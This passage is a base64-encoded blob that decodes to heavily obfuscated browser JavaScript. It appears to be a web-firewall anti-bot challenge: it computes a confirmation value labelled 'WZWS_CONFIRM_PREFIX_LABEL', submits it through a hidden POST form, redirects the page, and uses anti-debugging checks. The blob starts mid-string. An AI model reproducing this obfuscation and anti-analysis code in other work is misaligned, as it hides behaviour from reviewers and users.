XNbJ2hQa0ZSRCddWyd0b1N0cmluZyddKCkpPy0tdGhpc1snWmF2UnBXJ11bMHg2KjB4NTllKzB4NmNmKzB4M2QqLTB4YWFdOi0tdGhpc1snWmF2UnBXJ11bLTB4MWY0NistMHgxYjc1KzB4MWYqMHgxZTVdO3JldHVybiB0aGlzWydHc3pQTWInXShBKTt9LGhbJ3Byb3RvdHlwZSddWydHc3pQTWInXT1mdW5jdGlvbihTKXtpZighQm9vbGVhbih+UykpcmV0dXJuIFM7cmV0dXJuIHRoaXNbJ05TWk5BTSddKHRoaXNbJ0JLRUxSbSddKTt9LGhbJ3Byb3RvdHlwZSddWydOU1pOQU0nXT1mdW5jdGlvbihTKXtmb3IodmFyIEE9MHgxMWM0KzB4N2E3KjB4NCstMHgzMDYwLHo9dGhpc1snWmF2UnBXJ11bJ2xlbmd0aCddO0E8ejtBKyspe3RoaXNbJ1phdlJwVyddWydwdXNoJ10oTWF0aFsncm91bmQnXShNYXRoWydyYW5kb20nXSgpKSksej10aGlzWydaYXZScFcnXVsnbGVuZ3RoJ107fXJldHVybiBTKHRoaXNbJ1phdlJwVyddWzB4NmU0Ky0weDEwNWErLTB4OTc2Ki0weDFdKTt9LG5ldyBoKFIpWydlaE5TZWwnXSgpLEc9UlsnUFJvZFVzJ10oRyksRFtMXT1HO31lbHNlIEc9ZjtyZXR1cm4gRzt9LFIoRCxvKTt9ZnVuY3Rpb24gVyhvLHMpe3ZhciBxPXsnU25VWUYnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFMmQTt9LCdPTG9tQSc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUz09QTt9LCdETFJqeic6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUyE9PUE7fSwnQVpVS0InOkRiKCcweDE4ZScsJ3pYbzUnKSwnUFZ5b1gnOidBQW1xcycsJ1N3QUlNJzpEUignMHgyNDInLCczTF1aJykrJ3JlYScsJ1ZDd3pCJzpmdW5jdGlvbihTLEEpe3JldHVybiBTIT1BO30sJ0RuVE9FJzpmdW5jdGlvbihTLEEseil7cmV0dXJuIFMoQSx6KTt9LCdUVWhVcSc6RHUoJzB4MjAwJywnMHgxYTUnKSsnaW9uXHgyMConK0RiKCcweDI1ZCcsJzhNJm0nKSsnKScsJ1RoeWplJzonXHg1YytceDVjK1x4MjAnK0RHKCcweDUxNCcsJzB4NTk4JykrRGIoJzB4MTk5JywnVWQyaycpK0RHKCcweDRkNicsJzB4NDI4JykrRHUoJzB4MmEyJywnMHgyMGMnKSsnekEtWl8nK0R1KCcweDIwMScsJzB4MTVlJyksJ1JNdFV0JzpmdW5jdGlvbihTLEEpe3JldHVybiBTKEEpO30sJ01ibVFsJzonaW5pdCcsJ1FCeGRKJzpmdW5jdGlvbihTLEEpe3JldHVybiBTK0E7fSwnaXNTbmYnOkR1KCcweDI0YicsJzB4MWY3JyksJ1BNSG5CJzpmdW5jdGlvbihTLEEpe3JldHVybiBTK0E7fSwnd0FMSWwnOkRHKCcweDQyZCcsJzB4M2Y2JyksJ21GcHBQJzpmdW5jdGlvbihTLEEpe3JldHVybiBTKEEpO30sJ05ieHhEJzpmdW5jdGlvbihTKXtyZXR1cm4gUygpO30sJ0h6bnZOJzpERygnMHg1NGQnLCcweDRmMScpLCdJaHpkayc6J3Bvc3QnLCdmVUVvYSc6RFIoJzB4MWM2JywnejZqbScpLCdud2lCYyc6RFIoJzB4MmVlJywna15nWCcpLCdqZHhlbSc6RGIoJzB4MjE3JywnJnpsRycpLCdNZ1JQayc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUz09QTt9LCdOcHlFYic6RHUoJzB4MjVkJywnMHgyOWYnKSsnZycsJ0pVb0loJzpEdSgnMHgxOTEnLCcweGUyJykrJ3QnLCdBYlBQYic6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUz09PUE7fSwnZWNBRW4nOkR1KCcweDFhZScsJzB4MTEwJyksJ0l2Vkd0JzpEYignMHgxN2EnLCcmemxHJyksJ2RYRWdTJzpmdW5jdGlvbihTLEEseil7cmV0dXJuIFMoQSx6KTt9LCdBR29vRCc6ZnVuY3Rpb24oUyxBLHope3JldHVybiBTKEEseik7fX07ZnVuY3Rpb24gREcobyxzKXtyZXR1cm4gUihvLScweDM4NCcscyk7fWZ1bmN0aW9uIERSKG8scyl7cmV0dXJuIHUoby0nMHgxMzAnLHMpO312YXIgRz1kb2N1bWVudFsnY3JlYXQnKydlRWxlbScrRFIoJzB4MmEzJywnWjZKbycpXShxW0R1KCcweDFiMScsJzB4MTEwJyldKTtHW0R1KCcweDE1YycsJzB4MTdhJykrJ24nXT1vLEdbRFIoJzB4MmZhJywnRHJCdicpKydkJ109cVsnSWh6ZGsnXSxHWydzdHlsZSddW0RiKCcweDFjMycsJ0k0XVsnKSsnYXknXT1xW0RiKCcweDEzYScsJyZ0cmMnKV07ZnVuY3Rpb24gdihTLEEpe2Z1bmN0aW9uIERmKG8scyl7cmV0dXJuIERSKG8tIC0nMHgxYjInLHMpO31mdW5jdGlvbiBEcihvLHMpe3JldHVybiBERyhvLSAtJzB4MjRlJyxzKTt9ZnVuY3Rpb24gREwobyxzKXtyZXR1cm4gRFIocy0nMHgyMjUnLG8pO31mdW5jdGlvbiBEdihvLHMpe3JldHVybiBERyhzLSAtJzB4MzM5JyxvKTt9aWYocVtEdignMHhkYScsJzB4ZTUnKV0ocVtEdignMHhmOCcsJzB4MTA5JyldLHFbRHYoJzB4MWQ3JywnMHgxYmInKV0pKXt2YXIgej1kb2N1bWVudFtETCgnOGNedScsJzB4NTA5JykrJ2VFbGVtJytEcignMHgyZGEnLCcweDJlNCcpXShxW0RyKCcweDFkYScsJzB4MTU2JyldKTt6W0RMKCdVaClIJywnMHgzZTQnKV09UyxxWydWQ3d6QiddKEEsdW5kZWZpbmVkKSYmKHpbREwoJ1F4ayEnLCcweDRiYycpXT1BKSxHWydhcHBlbicrRHYoJzB4MmJlJywnMHgyMTYnKSsnZCddKHopO31lbHNle2Y9cVtEcignMHgyZDInLCcweDMwYycpXShoWydjaGFyQycrJ29kZUF0J10oUysrKSwtMHgyNjc4KzB4MTVkKjB4MTkrMHg1NjIpO2lmKHFbREwoJ0pob1YnLCcweDRiYScpXShBLDB4ZDhjKy0weDkwZSsweDc5Ki0weDkpKXJldHVybiB6O049RVtLXTt9fWZvcih2YXIgciBpbiBzKXtpZihxW0R1KCcweDE3NycsJzB4MTU1JyldKHFbRGIoJzB4MWFmJywnYiFlQScpXSxxWydqZHhlbSddKSl7dmFyIEw9c1tyXSxmPXR5cGVvZiBMO2lmKHFbRGIoJzB4MWUwJywnaHRbNCcpXShmLHFbREcoJzB4NDdiJywnMHg0NmYnKV0pKXFbRGIoJzB4MWE1JywnM25AaScpXSh2LHIsTCk7ZWxzZXtpZihxWydNZ1JQayddKGYscVtEUignMHgyYjgnLCcxc0pFJyldKSl7aWYocVtEdSgnMHgxNjcnLCcweDE0NycpXShxW0R1KCcweDE2OCcsJzB4MTJkJyldLHFbRGIoJzB4MTc4JywnUmdEWycpXSkpcVtERygnMHg0OGQnLCcweDRiMScpXShxLEcsdik7ZWxzZSBmb3IodmFyIGggaW4gTCl7cVsnZFhFZ1MnXSh2LHIsTFtoXSk7fX1lbHNlIHFbJ01nUlBrJ10oZiwhIVtdKSYmcVtEdSgnMHgyYWYnLCcweDJkNicpXSh2LHIsdW5kZWZpbmVkKTt9fWVsc2V7dmFyIHo9eydpeHF6cic6blZxTlNBWydUVWhVcSddLCdNQXd6dSc6blZxTlNBW0RiKCcweDE2OScsJ2IhZUEnKV0sJ1pjU2NGJzpmdW5jdGlvbihOLEUpe2Z1bmN0aW9uIERoKG8scyl7cmV0dXJuIERiKHMtJzB4MWNiJyxvKTt9cmV0dXJuIG5WcU5TQVtEaCgnUmdEWycsJzB4MmQxJyldKE4sRSk7fSwna2JYaEInOm5WcU5TQVtERygnMHg1M2QnLCcweDU3OScpXSwnV1dOZVknOmZ1bmN0aW9uKE4sRSl7ZnVuY3Rpb24gRFMobyxzKXtyZXR1cm4gRFIoby0nMHgyMDcnLHMpO31yZXR1cm4gblZxTlNBW0RTKCcweDRmMicsJ3V1N0onKV0oTixFKTt9LCdsUVZBUCc6blZxTlNBW0RHKCcweDQyOScsJzB4NDk4JyldLCdZQ1JRRCc6ZnVuY3Rpb24oTixFKXtmdW5jdGlvbiBEQShvLHMpe3JldHVybiBEdShvLSAtJzB4NDNiJyxzKTt9cmV0dXJuIG5WcU5TQVtEQSgtJzB4MjJhJywtJzB4MmEzJyldKE4sRSk7fSwncEtaYXonOm5WcU5TQVtEdSgnMHgxNzYnLCcweDIwMCcpXSwnQ1FjeHgnOmZ1bmN0aW9uKE4sRSl7cmV0dXJuIG5WcU5TQVsnbUZwcFAnXShOLEUpO30sJ25CcVR5JzpmdW5jdGlvbihOKXtmdW5jdGlvbiBEeihvLHMpe3JldHVybiBEYihzLSAtJzB4MjFkJyxvKTt9cmV0dXJuIG5WcU5TQVtEeignSTRdWycsLScweDEwMycpXShOKTt9fTtuVnFOU0FbJ0RuVE9FJ10odix0aGlzLGZ1bmN0aW9uKCl7dmFyIGU9bmV3IFMoelsnaXhxenInXSk7ZnVuY3Rpb24gRGQobyxzKXtyZXR1cm4gRHUocy0gLScweDEzYScsbyk7fWZ1bmN0aW9uIERFKG8scyl7cmV0dXJuIERSKHMtIC0nMHgxNTUnLG8pO312YXIgbT1uZXcgQSh6W0ROKCdiZ2hrJywtJzB4MjQyJyldLCdpJyk7ZnVuY3Rpb24gRE4obyxzKXtyZXR1cm4gRFIocy0gLScweDRmMycsbyk7fXZhciBpPXpbREUoJ3V1N0onLCcweDEzNicpXSh6LHpbREsoJzB4M2I2JywnMHgzNmQnKV0pO2Z1bmN0aW9uIERLKG8scyl7cmV0dXJuIER1KG8tJzB4MjU3JyxzKTt9IWVbREsoJzB4NGYxJywnMHg0YzInKV0oeltESygnMHg0MDcnLCcweDNmNycpXShpLHpbJ2xRVkFQJ10pKXx8IW1bRGQoJzB4MTVjJywnMHgxNjAnKV0oeltESygnMHg0MzAnLCcweDRhNScpXShpLHpbJ3BLWmF6J10pKT96W0RLKCcweDQ2ZicsJzB4NDMxJyldKGksJzAnKTp6W0RLKCcweDQ3OScsJzB4NTBjJyldKEUpO30pKCk7fX1mdW5jdGlvbiBEYihvLHMpe3JldHVybiB1KG8tJzB4OGEnLHMpO31kb2N1bWVudFtEdSgnMHgyOGQnLCcweDMwNScpXVtEYignMHgyMDYnLCdrXmdYJykrREcoJzB4NTRmJywnMHg1YjUnKSsnZCddKEcpO2Z1bmN0aW9uIER1KG8scyl7cmV0dXJuIFIoby0nMHhkZCcscyk7fXJldHVybiBHW0R1KCcweDI2OScsJzB4MWUxJykrJ3QnXSgpLEc7fSFmdW5jdGlvbiBzdWJtaXRfYW5zd2VyKCl7dmFyIEc9eydYbWt4bSc6ZnVuY3Rpb24oTixFKXtyZXR1cm4gTitFO30sJ0VpSExNJzpESigtJzB4Mjc2JywtJzB4MjVhJyksJ1BsdUdLJzpEZSgnVWQyaycsJzB4NGQ4JyksJ2VLSHZQJzonYWN0aW8nKyduJywnZmxIbmYnOmZ1bmN0aW9uKE4sRSl7cmV0dXJuIE4hPT1FO30sJ2J5V1dFJzpEZSgna15nWCcsJzB4NDMwJyksJ2xab3dNJzpEbSgnMHg0NGUnLCdVZDJrJyksJ1JzWHJnJzpmdW5jdGlvbihOLEUpe3JldHVybiBOIT09RTt9LCd1ZVVXSSc6J3B5aFJYJywneHdzVXAnOkRjKC0nMHgyNmEnLC0nMHgzMTEnKSwnQUxkemMnOkRjKC0nMHgxZDUnLC0nMHgyMTEnKSwnVnRuZ2InOkRlKCdkNEdOJywnMHg0ZDEnKSsnKSspKyknKycrJCcsJ2JMb1JzJzpmdW5jdGlvbihOLEUpe3JldHVybiBOKEUpO30sJ05vd0tLJzpmdW5jdGlvbihOLEUpe3JldHVybiBOPT09RTt9LCdNTERvRSc6REooLScweDI1YycsLScweDFkMycpLCdXZWxuaic6JzR8MHw1JytEbSgnMHg0MWUnLCdAbmpAJykrJzEnLCdKQ2t3QSc6ZnVuY3Rpb24oTixFKXtyZXR1cm4gTitFO30sJ2ZMZklsJzpmdW5jdGlvbihOLEUpe3JldHVybiBOPEU7fSwnWHBmc3gnOkRjKC0nMHgzMTEnLC0nMHgzMzgnKSwnSE5aU2YnOidabEVYRScsJ1JaZFNOJzonZnVuY3QnK0RlKCcqMzBwJywnMHg0ZDAnKSsnXHg1YyhceDIwKlx4NWMnKycpJywnTVlwT1UnOkRjKC0nMHgyMDMnLC0nMHgyYTInKStEYygtJzB4MWU4JywtJzB4MjQ3JykrRG0oJzB4NDZmJywnYmdoaycpK0RKKC0nMHgxZTMnLC0nMHgxZjcnKStEZSgnM0xdWicsJzB4M2NiJykrRGUoJ1A2ZHQnLCcweDQxYScpK0RtKCcweDQ3NicsJ3o2am0nKSwnZ2JVcEonOkRKKC0nMHgzNGUnLC0nMHgyYjcnKSwnUWJLREsnOmZ1bmN0aW9uKE4sRSl7cmV0dXJuIE4rRTt9LCdZSGpEcSc6RGMoLScweDI2NicsLScweDI2OScpLCdPSkFGQic6J2lucHV0JywnWVdGd3YnOkRKKC0nMHgxZWUnLC0nMHgxZWInKSwndlhscHAnOidpRlJLVicsJ1dQS1lBJzpmdW5jdGlvbihOKXtyZXR1cm4gTigpO30sJ2pmWHlNJzpmdW5jdGlvbihOLEUpe3JldHVybiBOIT09RTt9LCdIZUpqcyc6RGMoLScweDJjNScsLScweDJmNycpLCd5SEltZCc6ZnVuY3Rpb24oTixFLEspe3JldHVybiBOKEUsSyk7fSwnVklvUlknOmZ1bmN0aW9uKE4sRSxLKXtyZXR1cm4gTihFLEspO30sJ2NBeW5RJzpmdW5jdGlvbihOKXtyZXR1cm4gTigpO30sJ2RreWZ4JzpmdW5jdGlvbihOKXtyZXR1cm4gTigpO30sJ2N2Q1FRJzpmdW5jdGlvbihOKXtyZXR1cm4gTigpO30sJ3N6dWxMJzpmdW5jdGlvbihOLEUpe3JldHVybiBOK0U7fSwneHRSQUgnOmZ1bmN0aW9uKE4sRSl7cmV0dXJuIE4rRTt9LCdielFkYic6ZnVuY3Rpb24oTixFKXtyZXR1cm4gTitFO30sJ1FVRFhOJzpESigtJzB4MWYwJywtJzB4MTgxJykrRGUoJzFzSkUnLCcweDQwOCcpK0RjKC0nMHgzYjYnLC0nMHgzMGQnKSwnZmlCaEwnOkRlKCdrXmdYJywnMHgzY2QnKStEZSgncW81TScsJzB4NGJiJykrJz0nLCdURmdzQSc6ZnVuY3Rpb24oTixFKXtyZXR1cm4gTj09RTt9LCdUeWtrYic6RGUoJ0k3c0knLCcweDRiOCcpLCdJdU1FYic6ZnVuY3Rpb24oTixFKXtyZXR1cm4gTiE9PUU7fSwnTHVYRE8nOkRjKC0nMHgyOGQnLC0nMHgyMjAnKSwnd3hUYmknOid4TGplTSd9LHY9KGZ1bmN0aW9uKCl7dmFyIE49eydneWdrVyc6ZnVuY3Rpb24oSyxkKXtyZXR1cm4gR1snWG1reG0nXShLLGQpO30sJ1J1c1lOJzpHW0RGKC0nMHgyMGQnLC0nMHgyODUnKV0sJ2huT0hRJzpHW0RDKCdEckJ2JywtJzB4NicpXSwnWE9RUnInOkdbJ2VLSHZQJ10sJ2JlZm9RJzpmdW5jdGlvbihLLGQpe3JldHVybiBHWydmbEhuZiddKEssZCk7fSwnTktDUVEnOkdbREYoLScweDE2NicsLScweDIwYicpXSwneHlHblcnOkdbJ2xab3dNJ10sJ3lQV29HJzpmdW5jdGlvbihLLGQpe2Z1bmN0aW9uIERRKG8scyl7cmV0dXJuIERDKG8scy0nMHg3ZScpO31yZXR1cm4gR1tEUSgnNWREcycsLScweDZhJyldKEssZCk7fSwnUUx4UVcnOkdbJ3VlVVdJJ119O2Z1bmN0aW9uIERGKG8scyl7cmV0dXJuIERjKG8scy0nMHhiMCcpO312YXIgRT0hIVtdO2Z1bmN0aW9uIERDKG8scyl7cmV0dXJuIERlKG8scy0gLScweDRhYScpO31mdW5jdGlvbiBEcChvLHMpe3JldHVybiBESihvLHMtJzB4NGQnKTt9cmV0dXJuIGZ1bmN0aW9uKEssZCl7dmFyIEo9eydJdERyYSc6ZnVuY3Rpb24obSxpKXtmdW5jdGlvbiBETShvLHMpe3JldHVybiBSKG8tJzB4MzYnLHMpO31yZXR1cm4gTltETSgnMHhkNycsJzB4MTM5JyldKG0saSk7fSwna1JRU2snOk5bRFkoJzNuQGknLCcweDM5NycpXSwnRXdLUXMnOk5bJ3h5R25XJ119O2Z1bmN0aW9uIERZKG8scyl7cmV0dXJuIERDKG8scy0nMHgzYzUnKTt9ZnVuY3Rpb24gREIobyxzKXtyZXR1cm4gREYobyxzLScweDZiYicpO31mdW5jdGlvbiBEWChvLHMpe3JldHVybiBEQyhvLHMtJzB4MTEnKTt9ZnVuY3Rpb24gRFUobyxzKXtyZXR1cm4gRHAobyxzLScweDMxMCcpO31pZihOW0RVKCcweDEzOScsJzB4YjQnKV0oTltEWCgnQyYyaCcsLScweGY5JyldLE5bJ1FMeFFXJ10pKShmdW5jdGlvbigpe3JldHVybiEhW107fVtEWSgnSTRdWycsJzB4MzM5JykrJ3J1Y3RvJysnciddKGJMa3NicltEQignMHg1MzknLCcweDRjMCcpXShiTGtzYnJbJ1J1c1lOJ10sYkxrc2JyW0RZKCdjcHUmJywnMHgzNDcnKV0pKVtEVSgnMHhjNycsJzB4YmInKV0oYkxrc2JyW0RZKCcxc0pFJywnMHgzYzUnKV0pKTtlbHNle3ZhciBlPUU/ZnVuY3Rpb24oKXtmdW5jdGlvbiBEVyhvLHMpe3JldHVybiBEWShzLG8tIC0nMHg0YmInKTt9ZnVuY3Rpb24gRFYobyxzKXtyZXR1cm4gRFUocyxvLScweDJkOScpO31mdW5jdGlvbiBEeShvLHMpe3JldHVybiBEVShzLG8tJzB4Mjc3Jyk7fWZ1bmN0aW9uIERQKG8scyl7cmV0dXJuIERZKG8scy0nMHg0NicpO31pZihKW0R5KCcweDQ1OScsJzB4NDA5JyldKEpbJ2tSUVNrJ10sSlsnRXdLUXMnXSkpe2lmKGQpe3ZhciBpPWRbRFAoJyZ0cmMnLCcweDM2YScpXShLLGFyZ3VtZW50cyk7cmV0dXJuIGQ9bnVsbCxpO319ZWxzZSB2Kz1HW0R5KCcweDM3OCcsJzB4MmRmJykrRFcoLScweDE2MycsJ2NwdSYnKV0odik7fTpmdW5jdGlvbigpe307cmV0dXJuIEU9IVtdLGU7fX07fSgpKSxyPUdbRGUoJ1F4ayEnLCcweDQzZScpXSh2LHRoaXMsZnVuY3Rpb24oKXtmdW5jdGlvbiBEWihvLHMpe3JldHVybiBEYyhvLHMtJzB4NTYyJyk7fWZ1bmN0aW9uIERsKG8scyl7cmV0dXJuIERtKHMtIC0nMHgzZDcnLG8pO31mdW5jdGlvbiBETyhvLHMpe3JldHVybiBEYyhzLG8tJzB4NWIwJyk7fWZ1bmN0aW9uIERpKG8scyl7cmV0dXJuIERlKHMsby0gLScweDVlJyk7fXJldHVybiBHW0RaKCcweDM2NScsJzB4MzAwJyldKEdbRGkoJzB4MzdlJywnQyYyaCcpXSxHW0RPKCcweDMyOScsJzB4M2I2JyldKT9yW0RPKCcweDJmMCcsJzB4MmQxJykrRGwoJyhHUncnLCcweGM2JyldKClbRE8oJzB4MzJhJywnMHgyOTknKSsnaCddKEdbRGkoJzB4NDc5JywnTFs5JScpXSlbRGwoJyooKTEnLCcweGVkJykrJ2luZyddKClbJ2NvbnN0JysncnVjdG8nKydyJ10ocilbJ3NlYXJjJysnaCddKEdbRGwoJ1ApXVknLCcweDM3JyldKTohW107fSk7ZnVuY3Rpb24gREoobyxzKXtyZXR1cm4gUihzLSAtJzB4MzQ5JyxvKTt9R1snY0F5blEnXShyKTt2YXIgTD0oZnVuY3Rpb24oKXtmdW5jdGlvbiBEaihvLHMpe3JldHVybiBEZShzLG8tIC0nMHgzOTcnKTt9ZnVuY3Rpb24gRFQobyxzKXtyZXR1cm4gREoocyxvLScweDYzJyk7fWZ1bmN0aW9uIERnKG8scyl7cmV0dXJuIERlKG8scy0gLScweDU3OCcpO31mdW5jdGlvbiBESShvLHMpe3JldHVybiBESihzLG8tJzB4NDMwJyk7fWlmKEdbRGcoJyhHUncnLC0nMHgxNjAnKV0oR1tEVCgtJzB4MTMxJywtJzB4YmInKV0sR1snSE5aU2YnXSkpe3ZhciBOPSEhW107cmV0dXJuIGZ1bmN0aW9uKEUsSyl7ZnVuY3Rpb24gRHgobyxzKXtyZXR1cm4gRFQoby0nMHg5MScscyk7fWZ1bmN0aW9uIER0KG8scyl7cmV0dXJuIERnKHMsby0nMHg1NDAnKTt9dmFyIGQ9eydIb0dveSc6ZnVuY3Rpb24oZSxtKXtmdW5jdGlvbiBEbihvLHMpe3JldHVybiBSKG8tIC0nMHgxMmUnLHMpO31yZXR1cm4gR1tEbigtJzB4OTInLC0nMHhiZCcpXShlLG0pO319O2Z1bmN0aW9uIERrKG8scyl7cmV0dXJuIERnKG8scy0gLScweDE3MicpO31pZihHW0RrKCcmdHJjJywtJzB4MzRmJyldKEdbRHgoLScweDE2NCcsLScweGU3JyldLEdbRHQoJzB4NDU4JywnUylmJCcpXSkpe3ZhciBKPU4/ZnVuY3Rpb24oKXtmdW5jdGlvbiBESChvLHMpe3JldHVybiBEayhzLG8tJzB4NWM2Jyk7fWlmKEspe3ZhciBlPUtbREgoJzB4MmM5Jywnb2EzSScpXShFLGFyZ3VtZW50cyk7cmV0dXJuIEs9bnVsbCxlO319OmZ1bmN0aW9uKCl7fTtyZXR1cm4gTj0hW10sSjt9ZWxzZSBHV2JxVmFbJ0hvR295J10obywnMCcpO307fWVsc2V7dmFyIEs9R1tEaignMHhhYycsJ1ApXVknKV1bJ3NwbGl0J10oJ3wnKSxkPS0weDcqLTB4MzEzKy0weDMwYSoweDErMHg2MjkqLTB4Mzt3aGlsZSghIVtdKXtzd2l0Y2goS1tkKytdKXtjYXNlJzAnOnZhciBKPS0weDEqLTB4MTE0YSsweDFiNGQqMHgxKy0weDJjOTc7Y29udGludWU7Y2FzZScxJzpyZXR1cm4gR1tESSgnMHgyYjgnLCcweDI5MicpXSgnV1pXU19DT05GSVJNX1BSRUZJWF9MQUJFTCcsZSk7Y2FzZScyJzplKz0tMHgxNjUqMHgxZjUrLTB4NjE3NyoweDgrLTB4NiotMHgxM2ViYztjb250aW51ZTtjYXNlJzMnOmUqPXY7Y29udGludWU7Y2FzZSc0Jzp2YXIgZT0tMHg5ZTUrLTB4NTQyKy0weDkqLTB4MWFmO2NvbnRpbnVlO2Nhc2UnNSc6Zm9yKEo9LTB4MSotMHg5OGUrLTB4MjA5MysweDE3MDU7R1tEVCgtJzB4MTljJywtJzB4MTAyJyldKEosdltEZygnKigpMScsLScweGY2JykrJ2gnXSk7SisrKXtlKz1yW0RqKCcweGFiJywnUylmJCcpKydvZGVBdCddKEopO31jb250aW51ZTt9YnJlYWs7fX19KCkpO2Z1bmN0aW9uIERjKG8scyl7cmV0dXJuIFIocy0gLScweDNkNycsbyk7fShmdW5jdGlvbigpe2Z1bmN0aW9uIG8xKG8scyl7cmV0dXJuIERKKG8scy0nMHgxNWQnKTt9ZnVuY3Rpb24gRGEobyxzKXtyZXR1cm4gREoocyxvLScweDNmYScpO31mdW5jdGlvbiBvMChvLHMpe3JldHVybiBEZShvLHMtIC0nMHhkOScpO312YXIgTj17J2F2bXhqJzpmdW5jdGlvbihFLEspe2Z1bmN0aW9uIER3KG8scyl7cmV0dXJuIFIoby0nMHhiMycscyk7fXJldHVybiBHW0R3KCcweDE0ZicsJzB4MThiJyldKEUsSyk7fSwnRXRPWk4nOkdbRGEoJzB4MTlkJywnMHgxNzUnKV0sJ1pUdkFzJzpHW28wKCdTZWQyJywnMHgzZjInKV0sJ3docmtmJzpHWydnYlVwSiddLCdZSlJMcCc6ZnVuY3Rpb24oRSxLKXtyZXR1cm4gR1snUWJLREsnXShFLEspO30sJ3VYR1VqJzpHW28xKC0nMHgxMTInLC0nMHg2OCcpXSwna2xRUFInOkdbbzAoJ1NlZDInLCcweDNjMycpXSwnbm5ua0wnOmZ1bmN0aW9uKEUsSyl7ZnVuY3Rpb24gbzMobyxzKXtyZXR1cm4gbzEocyxvLScweDE4YScpO31yZXR1cm4gR1tvMygnMHgxMTMnLCcweDFhMScpXShFLEspO30sJ3ZZYXB6JzpHW0RhKCcweDI3NCcsJzB4MjRhJyldLCd5WVRBaSc6R1tEYSgnMHgyN2UnLCcweDJhMCcpXSwnS1Z1dWsnOmZ1bmN0aW9uKEUpe2Z1bmN0aW9uIG80KG8scyl7cmV0dXJuIG8xKHMsby0nMHgzNjknKTt9cmV0dXJuIEdbbzQoJzB4MmFmJywnMHgyMGInKV0oRSk7fX07ZnVuY3Rpb24gbzIobyxzKXtyZXR1cm4gRG0ocy0gLScweDQzMycsbyk7fUdbbzAoJzNuQGknLCcweDNhZicpXShHW0RhKCcweDI1MCcsJzB4MWUyJyldLEdbbzAoJ3V1N0onLCcweDNhZScpXSk/cltEYSgnMHgxYzEnLCcweDE1ZCcpXT12OkdbJ3lISW1kJ10oTCx0aGlzLGZ1bmN0aW9uKCl7ZnVuY3Rpb24gbzcobyxzKXtyZXR1cm4gRGEoby0gLScweDQxJyxzKTt9ZnVuY3Rpb24gbzYobyxzKXtyZXR1cm4gbzEobyxzLScweDEyYicpO31mdW5jdGlvbiBvNShvLHMpe3JldHVybiBvMChzLG8tIC0nMHg1OTInKTt9dmFyIEs9bmV3IFJlZ0V4cChOW281KC0nMHgyNGMnLCdAbmpAJyldKSxkPW5ldyBSZWdFeHAoTlsnWlR2QXMnXSwnaScpO2Z1bmN0aW9uIG84KG8scyl7cmV0dXJuIG8yKHMsby0nMHhkYycpO312YXIgSj1OW282KCcweDEzNicsJzB4OGUnKV0oWixOW283KCcweDE0OCcsJzB4MTNjJyldKTshS1tvOCgnMHgxOTMnLCdZc0w3JyldKE5bbzcoJzB4MThmJywnMHgxMzcnKV0oSixOW284KCcweDE3MCcsJ2h0WzQnKV0pKXx8IWRbbzcoJzB4MjJkJywnMHgyY2MnKV0oTltvOCgnMHg5YycsJyozMHAnKV0oSixOW282KC0nMHhhOScsLScweGUnKV0pKT9OW283KCcweDFhYycsJzB4MWE2JyldKE5bbzcoJzB4MTMxJywnMHgxY2EnKV0sTltvNygnMHgxMWMnLCcweDFiYycpXSk/TltvNygnMHgxYmYnLCcweDFhZicpXShKLCcwJyk6bndIZExWWydhdm14aiddKG8sLTB4NjgqLTB4NTcrMHhmNGMqLTB4MSstMHgxNDBjKTpOW284KCcweDZkJywnYk1MMCcpXShaKTt9KSgpO30oKSk7ZnVuY3Rpb24gRG0obyxzKXtyZXR1cm4gdShvLScweDMxNicscyk7fXZhciBmPUdbRG0oJzB4NGQ1JywnOGNedScpXShCKSxoPUdbRG0oJzB4NGNjJywnQG5qQCcpXShVLGZbRGMoLScweDJhMCcsLScweDJjMCcpKydpbmcnXSgpKTtmdW5jdGlvbiBEZShvLHMpe3JldHVybiB1KHMtJzB4MzI1JyxvKTt9dmFyIFM9R1tEZSgncW81TScsJzB4NGMyJyldKHkpLEE9R1tEZSgnKEdSdycsJzB4NGQyJyldKEdbREooLScweDFkNycsLScweDFiYScpXShHW0RlKCd6WG81JywnMHgzYmMnKV0oR1tEbSgnMHg0ODUnLCd6NmptJyldKGMsR1snUVVEWE4nXSksaCksR1tESigtJzB4MjUzJywtJzB4MjRhJyldKSxTKTtpZihHW0RjKC0nMHgzNGYnLC0nMHgzNDYnKV0ocCxHW0RKKC0nMHgxMmMnLC0nMHgxYWUnKV0pKXt2YXIgej1HW0RtKCcweDNjOCcsJ2h0WzQnKV0oVixRLE0pO0dbREooLScweDI1NicsLScweDI1NScpXShXLEEseik7fWVsc2UgR1tEYygtJzB4MWZmJywtJzB4MjZlJyldKEdbRGMoLScweDMxZScsLScweDI4YScpXSxHWyd3eFRiaSddKT93aW5kb3dbJ2xvY2F0JytEbSgnMHgzZWYnLCdiTUwwJyldPUE6R1tEYygtJzB4MjUzJywtJzB4MmUzJyldKHYsRyx2KTt9KCk7ZnVuY3Rpb24gWihvKXt2YXIgcz17J2hwbUJPJzpmdW5jdGlvbihHLHYpe3JldHVybiBHPT09djt9LCdlRGl2Tyc6bzkoJzB4M2EnLCcweGI1JyksJ0RwSWlyJzpmdW5jdGlvbihHLHYpe3JldHVybiBHJnY7fSwnTlhMSmEnOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEchPT12O30sJ2hHZ0NRJzoneHlSVXcnLCdqQktpeSc6b0QoLScweDVkJywnNWREcycpLCdEZHhFZSc6ZnVuY3Rpb24oRyx2LHIpe3JldHVybiBHKHYscik7fSwndG1zQnknOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEc9PT12O30sJ01UZm5uJzpvbygnUXhrIScsLScweDIwMScpKydnJywncXBjQUYnOm9zKCcweDEzYicsJzB4MTcwJykrb3MoJzB4MjkzJywnMHgyM2UnKStvcygnMHgyMTMnLCcweDI4ZCcpLCdLZVB3aCc6b0QoLScweDQ1JywnIzNDUScpKydlcicsJ1BiZmRKJzpmdW5jdGlvbihHLHYpe3JldHVybiBHIT09djt9LCdHWktvcCc6ZnVuY3Rpb24oRyx2KXtyZXR1cm4gRyt2O30sJ0FZZ1FtJzpmdW5jdGlvbihHLHYpe3JldHVybiBHL3Y7fSwnQm1WZ0onOm9vKCdAbmpAJywtJzB4MWRkJykrJ2gnLCdPcHZKZCc6ZnVuY3Rpb24oRyx2KXtyZXR1cm4gRyV2O30sJ1dwc3NBJzpvbygnUDZkdCcsLScweDFmOScpLCdBbVBKbSc6b28oJy